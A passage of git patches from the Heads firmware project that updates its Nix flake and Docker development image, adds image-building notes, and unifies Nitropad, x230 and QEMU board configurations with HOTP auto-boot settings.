restore_cache: # First matched/found key wins and following keys are not tried keys: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.0.8 + - image: tlaurion/heads-dev-env:v0.0.9 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.0.8 + - image: tlaurion/heads-dev-env:v0.0.9 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.0.8 + - image: tlaurion/heads-dev-env:v0.0.9 resource_class: large working_directory: ~/heads steps: diff --git a/NIX_REPRO_NOTES b/NIX_REPRO_NOTES index bf9af50bb..7b7b9b0c8 100644 --- a/NIX_REPRO_NOTES +++ b/NIX_REPRO_NOTES @@ -56,3 +56,22 @@ Some raw and incomplete notes on how to push that docker to dockerhub docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:v0.0.3 docker push tlaurion/heads-dev-env:v0.0.3 (to be continued) + +------------------- + +#To create the docker image, I was not able to set gcroot dynamically, so here are the manual steps so nix is not wiped per garbage collector +mkdir -p /nix/var/nix/gcroots/per-user/$(whoami) +ln -sfn $(readlink -f $HOME/.nix-profile) /nix/var/nix/gcroots/per-user/$(whoami)/profile + +#And then build derivates and cal garbarrge collection (not yet successfull since docker build fails now) +nix build .#dockerImage && docker load < result && docker run --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env + +#Use it +docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env -- make BOARD=qemu-coreboot-whiptail-tpm2 +docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env -- make BOARD=qemu-coreboot-whiptail-tpm2 run + +#push it +docker login +docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:v0.0.9 +docker push tlaurion/heads-dev-env:v0.0.9 + diff --git a/flake.lock b/flake.lock index 491e53f71..6fb25794b 100644 --- a/flake.lock +++ b/flake.lock @@ -20,11 +20,11 @@ }, "nixpkgs": { "locked": { - "lastModified": 1711703276, - "narHash": "sha256-iMUFArF0WCatKK6RzfUJknjem0H9m4KgorO/p3Dopkk=", + "lastModified": 1714253743, + "narHash": "sha256-mdTQw2XlariysyScCv2tTE45QSU9v/ezLcHJ22f0Nxc=", "owner": "nixos", "repo": "nixpkgs", - "rev": "d8fe5e6c92d0d190646fb9f1056741a229980089", + "rev": "58a1abdbae3217ca6b702f03d3b35125d88a2994", "type": "github" }, "original": { diff --git a/flake.nix b/flake.nix index bd9a96f67..e8e9e396b 100644 --- a/flake.nix +++ b/flake.nix @@ -1,87 +1,111 @@ { - description = "heads flake, mostly for devshell for now"; + description = "Optimized heads flake for Docker image with garbage collection protection"; + # Inputs define external dependencies and their sources. inputs = { - nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable"; - flake-utils.url = "github:numtide/flake-utils"; + nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable"; # Using the unstable channel for the latest packages, while flake.lock fixates the commit reused until changed. + flake-utils.url = "github:numtide/flake-utils"; # Utilities for flake functionality. }; - outputs = { - self, - flake-utils, - nixpkgs, - ... - }: + # Outputs are the result of the flake, including the development environment and Docker image. + outputs = { self, nixpkgs, flake-utils, ... }: flake-utils.lib.eachDefaultSystem (system: let - pkgs = nixpkgs.legacyPackages.${system}; - lib = pkgs.lib; - deps = with pkgs; - [ - autoconf - automake - bashInteractive - coreutils - bc - bison # Generate flashmap descriptor parser - bzip2 - cacert - ccache - cmake - cpio - curl - diffutils - dtc - e2fsprogs - elfutils - findutils - flex - gawk - git - gnat - gnugrep - gnumake - gnused - gnutar - gzip - imagemagick - innoextract - libtool - m4 - ncurses5 # make menuconfig and slang - openssl #needed for talos-2 kernel build - parted - patch - perl - pkg-config - python3 - rsync - sharutils - texinfo - unzip - wget - which - xz - zip - zlib - zlib.dev - ] - ++ [ - # blobs/xx30/vbios_[tw]530.sh - bundler - p7zip - ruby - sudo # ( °-° ) - upx - ] - ++ [ - # debugging/fixing/testing - qemu - vim - ]; + pkgs = nixpkgs.legacyPackages.${system}; # Accessing the legacy package set. + lib = pkgs.lib; # The standard Nix packages library. + + # Dependencies are the packages required for the Heads project. + # Organized into subsets for clarity and maintainability. + deps = with pkgs; [ + # Core build utilities + autoconf + automake + bashInteractive + coreutils + bc + bison + bzip2 + cacert + ccache + cmake + cpio + curl + diffutils + dtc + e2fsprogs + elfutils + findutils + flex + gawk + git + gnat + gnugrep + gnumake + gnused + gnutar + gzip + imagemagick # For bootsplash manipulation. + innoextract # ROM extraction for dGPU. + libtool + m4 + ncurses5 + openssl + parted + patch + perl + pkg-config + python3 # me_cleaner, coreboot. + rsync # coreboot. + sharutils + texinfo + unzip + wget + which + xz + zip + zlib + zlib.dev + ] ++ [ + # Packages for qemu support with Canokey integration. + qemu # To test make BOARD=qemu-coreboot-* boards and then call make BOARD=qemu-coreboot-* with inject_gpg statement, and then run statement (RTFM). + canokey-qemu # Canokey lib for qemu build-time compilation. + (qemu.override { + canokeySupport = true; # This override enables Canokey support in QEMU, resulting in -device canokey being available. + }) + ] ++ [ + # Additional tools for editing and testing. + vim # Mostly used amongst us, sorry if you'd like something else, open issue. + swtpm # QEMU requirement to emulate tpm1/tpm2. + dosfstools # QEMU requirement to produce valid fs to store exported public key to be fused through inject_key on qemu (so qemu flashrom emulated SPI support). + ] ++ [ + # Tools for handling binary blobs and compression. + bundler + p7zip + ruby + sudo + upx + ]; + + # Stripping binaries to reduce size, while ensuring functionality is not affected. + stripBinaries = map (pkg: if pkg?isDerivation then pkg.overrideAttrs (oldAttrs: { + postInstall = oldAttrs.postInstall or "" + '' + strip $out/bin/* || true + ''; + }) else pkg) deps; + in { + # The development shell includes all the dependencies. devShell = pkgs.mkShellNoCC { - buildInputs = deps; + buildInputs = stripBinaries ++ [ pkgs.nix ]; # Include the Nix package to provide nix-collect-garbage. + shellHook = '' + # Create a garbage collection root for the Nix profile + mkdir -p /nix/var/nix/gcroots/per-user/$(whoami) + echo $(readlink -f $HOME/.nix-profile) > /nix/var/nix/gcroots/per-user/$(whoami)/profile + # Perform garbage collection to clean up any unnecessary files. + nix-collect-garbage -d + ''; }; + + # myDevShell outputs environment variables necessary for development. packages.myDevShell = pkgs.runCommand "my-dev-shell" {} #bash @@ -95,35 +119,43 @@ -e ACLOCAL_PATH \ ${self.devShell.${system}} >$out ''; + + # Docker image configuration for the Heads project. packages.dockerImage = pkgs.dockerTools.buildLayeredImage { - name = "linuxboot/heads"; - tag = "dev-env"; - config.Entrypoint = ["bash" "-c" ''source /devenv.sh; if (( $# == 0 )); then exec bash; else exec "$0" "$@"; fi'']; - contents = - deps - ++ [ - pkgs.dockerTools.binSh - pkgs.dockerTools.caCertificates - pkgs.dockerTools.usrBinEnv - ]; - enableFakechroot = true; + name = "linuxboot/heads"; # Image name. + tag = "dev-env"; # Image tag. + config.Entrypoint = ["bash" "-c" ''source /devenv.sh; if (( $# == 0 )); then exec bash; else exec "$@"; fi'']; # Entrypoint configuration. + + # Contents of the Docker image, including stripped binaries for size optimization. + contents = stripBinaries ++ [ + pkgs.dockerTools.binSh + pkgs.dockerTools.caCertificates + pkgs.dockerTools.usrBinEnv + ]; + + enableFakechroot = true; # Enable fakechroot for compatibility. + + # Fake root commands to set up the environment inside the Docker image. fakeRootCommands = #bash '' - set -e + set -e - grep \ - -e NIX_CC_WRAPPER_TARGET_TARGET \ - -e NIX_CFLAGS_COMPILE_FOR_TARGET \ - -e NIX_LDFLAGS_FOR_TARGET \ - -e NIX_PKG_CONFIG_WRAPPER_TARGET \ - -e PKG_CONFIG_PATH_FOR_TARGET \ - -e ACLOCAL_PATH \ - ${self.devShell.${system}} >/devenv.sh + # Environment setup for the development shell. + grep \ + -e NIX_CC_WRAPPER_TARGET_TARGET \ + -e NIX_CFLAGS_COMPILE_FOR_TARGET \ + -e NIX_LDFLAGS_FOR_TARGET \ + -e NIX_PKG_CONFIG_WRAPPER_TARGET \ + -e PKG_CONFIG_PATH_FOR_TARGET \ + -e ACLOCAL_PATH \ + ${self.devShell.${system}} >/devenv.sh - printf '[safe]\n\tdirectory = *\n' >/.gitconfig - mkdir /tmp; - ''; + # Git configuration for safe directory access. + printf '[safe]\n\tdirectory = *\n' >/.gitconfig + mkdir /tmp; # Temporary directory for various operations. + ''; }; }); } + diff --git a/targets/qemu.mk b/targets/qemu.mk index 59286a3e1..051361229 100644 --- a/targets/qemu.mk +++ b/targets/qemu.mk @@ -16,7 +16,7 @@ endif ifeq "$(CONFIG_TPM2_TSS)" "y" SWTPM_TPMVER := --tpm2 -SWTPM_PRESETUP := swtpm_setup --create-config-files skip-if-exist +SWTPM_PRESETUP := swtpm_setup --create-config-files root skip-if-exist else # TPM1 is the default SWTPM_TPMVER := From 973e905ef6d4cadeae0f71f9edab9f99a7abbf12 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 3 May 2024 10:06:16 -0400 Subject: [PATCH 101/619] flake.lock: revert to old package pinning Signed-off-by: Thierry Laurion --- flake.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/flake.lock b/flake.lock index 6fb25794b..491e53f71 100644 --- a/flake.lock +++ b/flake.lock @@ -20,11 +20,11 @@ }, "nixpkgs": { "locked": { - "lastModified": 1714253743, - "narHash": "sha256-mdTQw2XlariysyScCv2tTE45QSU9v/ezLcHJ22f0Nxc=", + "lastModified": 1711703276, + "narHash": "sha256-iMUFArF0WCatKK6RzfUJknjem0H9m4KgorO/p3Dopkk=", "owner": "nixos", "repo": "nixpkgs", - "rev": "58a1abdbae3217ca6b702f03d3b35125d88a2994", + "rev": "d8fe5e6c92d0d190646fb9f1056741a229980089", "type": "github" }, "original": { From 3d0991f6c148c77d141d3bf747d1bde485e86d48 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 3 May 2024 10:13:09 -0400 Subject: [PATCH 102/619] flake.nix: revert to mmlb state and testing Signed-off-by: Thierry Laurion --- flake.nix | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/flake.nix b/flake.nix index e8e9e396b..8f110f67d 100644 --- a/flake.nix +++ b/flake.nix @@ -22,7 +22,7 @@ bashInteractive coreutils bc - bison + bison # Generate flashmap descriptor parser bzip2 cacert ccache @@ -47,8 +47,8 @@ innoextract # ROM extraction for dGPU. libtool m4 - ncurses5 - openssl + ncurses5 # make menuconfig and slang + openssl #needed for talos-2 kernel build parted patch perl @@ -67,21 +67,22 @@ ] ++ [ # Packages for qemu support with Canokey integration. qemu # To test make BOARD=qemu-coreboot-* boards and then call make BOARD=qemu-coreboot-* with inject_gpg statement, and then run statement (RTFM). - canokey-qemu # Canokey lib for qemu build-time compilation. - (qemu.override { - canokeySupport = true; # This override enables Canokey support in QEMU, resulting in -device canokey being available. - }) + #canokey doesn;t work still even if compiled in, so no reason to add 1Gb of stuff in the image + #canokey-qemu # Canokey lib for qemu build-time compilation. + #(qemu.override { + # canokeySupport = true; # This override enables Canokey support in QEMU, resulting in -device canokey being available. + #}) ] ++ [ - # Additional tools for editing and testing. + # Additional tools for debugging/editing/testing. vim # Mostly used amongst us, sorry if you'd like something else, open issue. swtpm # QEMU requirement to emulate tpm1/tpm2. dosfstools # QEMU requirement to produce valid fs to store exported public key to be fused through inject_key on qemu (so qemu flashrom emulated SPI support). ] ++ [ - # Tools for handling binary blobs and compression. + # Tools for handling binary blobs in their compressed state. (blobs/xx30/vbios_[tw]530.sh) bundler p7zip ruby - sudo + sudo # ( °-° ) upx ]; @@ -124,7 +125,7 @@ packages.dockerImage = pkgs.dockerTools.buildLayeredImage { name = "linuxboot/heads"; # Image name. tag = "dev-env"; # Image tag. - config.Entrypoint = ["bash" "-c" ''source /devenv.sh; if (( $# == 0 )); then exec bash; else exec "$@"; fi'']; # Entrypoint configuration. + config.Entrypoint = ["bash" "-c" ''source /devenv.sh; if (( $# == 0 )); then exec bash; else exec "$0" "$@"; fi'']; # Entrypoint configuration. # Contents of the Docker image, including stripped binaries for size optimization. contents = stripBinaries ++ [ @@ -151,9 +152,9 @@ -e ACLOCAL_PATH \ ${self.devShell.${system}} >/devenv.sh - # Git configuration for safe directory access. + # Git configuration for safe directory access. printf '[safe]\n\tdirectory = *\n' >/.gitconfig - mkdir /tmp; # Temporary directory for various operations. + mkdir /tmp; # Temporary directory for various operations. ''; }; }); From 865a0c6a2b84cb095432b46138030c6d3f647cec Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 16 Apr 2024 11:40:45 -0400 Subject: [PATCH 103/619] WiP: Boards configuration unification between x230-hotp-maximized and nitrokey boards: enable Automatic boot when HOTP valid after 5 seconds Signed-off-by: Thierry Laurion --- boards/nitropad-ns50/nitropad-ns50.config | 70 ++++++++++++------- boards/nitropad-nv41/nitropad-nv41.config | 70 ++++++++++++------- .../x230-hotp-maximized.config | 38 ++++++---- 3 files changed, 113 insertions(+), 65 deletions(-) diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 9ebfc9cb1..1aa9ddc56 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -7,48 +7,66 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-nitropad-ns50.config CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config +#Enable blobs packed under coreboot at build time CONFIG_NITROKEY_BLOBS=y -CONFIG_KEXEC=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -CONFIG_POPT=y -CONFIG_FLASHTOOLS=y -CONFIG_FLASHROM=y -CONFIG_PCIUTILS=y -CONFIG_UTIL_LINUX=y +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y - +CONFIG_PCIUTILS=y +#Runtime tools to write to EC/MSR CONFIG_IOTOOLS=y - -CONFIG_DROPBEAR=y - CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support CONFIG_HOTPKEY=y - +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -CONFIG_LINUX_USB=y - -CONFIG_LINUX_E1000=y - -export CONFIG_BOOTSCRIPT=/bin/gui-init - -export CONFIG_BOOT_KERNEL_ADD="" -export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 # TPM2 requirements export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc -CONFIG_TPM2_TSS=y -CONFIG_OPENSSL=y - - +#TPM1 requirements +#export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_KERNEL_ADD="" +export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOOT_DEV="/dev/nvme0n1" export CONFIG_BOARD_NAME="Nitropad NS50" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" - diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index 7547ba62f..f7a7aac2e 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -7,48 +7,66 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-nitropad-nv41.config CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config +#Enable blobs packed under coreboot at build time CONFIG_NITROKEY_BLOBS=y -CONFIG_KEXEC=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -CONFIG_POPT=y -CONFIG_FLASHTOOLS=y -CONFIG_FLASHROM=y -CONFIG_PCIUTILS=y -CONFIG_UTIL_LINUX=y +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +CONFIG_MOBILE_TETHERING=y + +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y - +CONFIG_PCIUTILS=y +#Runtime tools to write to EC/MSR CONFIG_IOTOOLS=y - -CONFIG_DROPBEAR=y - CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support CONFIG_HOTPKEY=y - +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -CONFIG_LINUX_USB=y - -CONFIG_LINUX_E1000=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init - +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" - -# TPM2 requirements -export CONFIG_TPM2_TOOLS=y -export CONFIG_PRIMARY_KEY_TYPE=ecc -CONFIG_TPM2_TSS=y -CONFIG_OPENSSL=y - - export CONFIG_BOOT_DEV="/dev/nvme0n1" export CONFIG_BOARD_NAME="Nitropad NV41" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" - diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index 1207493f3..00e1db64a 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -17,11 +17,12 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #export CONFIG_DEBUG_OUTPUT=y #export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Additional hardware support +#On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -31,25 +32,28 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y - -#platform locking finalization (PR0) -CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y - - +#Runtime tools to write to EC/MSR +#CONFIG_IOTOOLS=y +#CONFIG_MSRTOOLS=y #Remote attestation support -#TPM based requirements -export CONFIG_TPM=y +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y CONFIG_POPT=y CONFIG_QRENCODE=y CONFIG_TPMTOTP=y #HOTP based remote attestation for supported USB Security dongle #With/Without TPM support CONFIG_HOTPKEY=y -export CONFIG_AUTO_BOOT_TIMEOUT=5 -#Nitrokey Storage admin tool -CONFIG_NKSTORECLI=n + +#platform locking finalization (PR0) +# This prevents SPI from being writeable outside of Heads +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y + +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n #GUI Support #Console based Whiptail support(Console based, no FB): @@ -59,10 +63,18 @@ CONFIG_NKSTORECLI=n CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -#Additional tools: +#Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n From 60e0d6017fad0dfbd8d5bbe8a39ec08e71fde5c4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 16 Apr 2024 12:43:51 -0400 Subject: [PATCH 104/619] boards: uniformize nitropad boards with qemu-coreboot boards and against each other - Add tethering in board configs - Add autoboot after 5 seconds if HOTP remote attestation is successful Signed-off-by: Thierry Laurion --- boards/nitropad-ns50/nitropad-ns50.config | 9 +++++++-- boards/nitropad-nv41/nitropad-nv41.config | 7 ++++++- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 19 ++++++++++--------- .../qemu-coreboot-fbwhiptail-tpm1.config | 15 ++++++++------- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 15 ++++++++------- .../qemu-coreboot-fbwhiptail-tpm2.config | 15 ++++++++------- .../qemu-coreboot-whiptail-tpm1-hotp.config | 15 ++++++++------- .../qemu-coreboot-whiptail-tpm1.config | 15 ++++++++------- .../qemu-coreboot-whiptail-tpm2-hotp.config | 19 ++++++++++--------- .../qemu-coreboot-whiptail-tpm2.config | 19 ++++++++++--------- 10 files changed, 83 insertions(+), 65 deletions(-) diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 1aa9ddc56..8a165060f 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -13,6 +13,8 @@ CONFIG_NITROKEY_BLOBS=y #Enable DEBUG output #export CONFIG_DEBUG_OUTPUT=y #export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -36,12 +38,15 @@ CONFIG_MSRTOOLS=y # TPM2 requirements CONFIG_TPM2_TSS=y CONFIG_OPENSSL=y +#Remote Attestation common tools CONFIG_POPT=y CONFIG_QRENCODE=y CONFIG_TPMTOTP=y #HOTP based remote attestation for supported USB Security dongle #With/Without TPM support CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n #GUI Support #Console based Whiptail support(Console based, no FB): #CONFIG_SLANG=y @@ -49,7 +54,6 @@ CONFIG_HOTPKEY=y #FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y - #Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y @@ -57,7 +61,7 @@ CONFIG_DROPBEAR=y #Runtime configuration #Automatically boot if HOTP is valid export CONFIG_AUTO_BOOT_TIMEOUT=5 -# TPM2 requirements +#TPM2 requirements export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements @@ -70,3 +74,4 @@ export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOOT_DEV="/dev/nvme0n1" export CONFIG_BOARD_NAME="Nitropad NS50" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index f7a7aac2e..3a6d157cf 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -13,6 +13,8 @@ CONFIG_NITROKEY_BLOBS=y #Enable DEBUG output #export CONFIG_DEBUG_OUTPUT=y #export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -36,12 +38,15 @@ CONFIG_MSRTOOLS=y # TPM2 requirements CONFIG_TPM2_TSS=y CONFIG_OPENSSL=y +#Remote Attestation common tools CONFIG_POPT=y CONFIG_QRENCODE=y CONFIG_TPMTOTP=y #HOTP based remote attestation for supported USB Security dongle #With/Without TPM support CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n #GUI Support #Console based Whiptail support(Console based, no FB): #CONFIG_SLANG=y @@ -49,7 +54,6 @@ CONFIG_HOTPKEY=y #FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y - #Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y @@ -70,3 +74,4 @@ export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOOT_DEV="/dev/nvme0n1" export CONFIG_BOARD_NAME="Nitropad NV41" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index 61668b2c6..da5e200f7 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -28,6 +28,8 @@ export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y #CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y @@ -35,6 +37,7 @@ CONFIG_LINUX_E1000=y ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else +#Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y CONFIG_FLASHTOOLS=y @@ -45,8 +48,8 @@ CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y #Runtime tools to write to EC/MSR -CONFIG_IOTOOLS=y -CONFIG_MSRTOOLS=y +#CONFIG_IOTOOLS=y +#CONFIG_MSRTOOLS=y #Remote attestation support # TPM2 requirements #CONFIG_TPM2_TSS=y @@ -61,21 +64,17 @@ CONFIG_HOTPKEY=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n #GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y #FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -#text-based init (generic-init and gui-init) -#CONFIG_NEWT=y -#CONFIG_SLANG=y #Additional tools (tools.cpio): #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y endif -#Runtime on-demand additional hardware support (modules.cpio) -export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y - - #Runtime configuration #Automatically boot if HOTP is valid export CONFIG_AUTO_BOOT_TIMEOUT=5 @@ -94,5 +93,7 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" +#export CONFIG_FLASHROM_OPTIONS="-p internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index f02c73336..fe12a429b 100644 --- 